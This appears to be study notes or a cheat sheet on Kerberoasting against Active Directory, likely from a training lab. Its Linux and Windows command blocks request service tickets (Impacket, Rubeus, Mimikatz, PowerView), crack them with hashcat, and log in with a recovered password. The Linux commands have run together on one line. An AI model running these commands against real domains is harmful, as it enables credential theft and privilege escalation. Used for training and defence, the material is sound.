Kerberoasting

Kerberoasting is a lateral movement and privilege escalation technique in AD. It exploits service accounts with Service Principal Names (SPNs) configured.
How It Works:
  • Any domain user can request a Kerberos ticket (TGS) associated with a service account.
  • The ticket is encrypted with the service account's NTLM hash.
  • The attacker brute-forces it offline to obtain the cleartext password.

Linux (GetUserSPNs)

terminal
# Listar cuentas con SPNsGetUserSPNs.py -dc-ip <IP_DC> <DOMINIO>/<USUARIO># Solicitar tickets TGSGetUserSPNs.py -dc-ip <IP_DC> <DOMINIO>/<USUARIO> -request# Guardar el ticketGetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs# Crackear offline$ hashcat -m 13100 <archivo_tickets> <diccionario># Autenticación con la password crackeada$ sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!

Windows

Enumerate SPNs: setspn.exe -Q */* or Get-DomainUser * -spn (PowerView).
powershell
# Rubeus
.\Rubeus.exe kerberoast /tgtdeleg /nowrap
# Mimikatz
mimikatz # base64 /out:true
mimikatz # kerberos::list /export
# PowerView
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat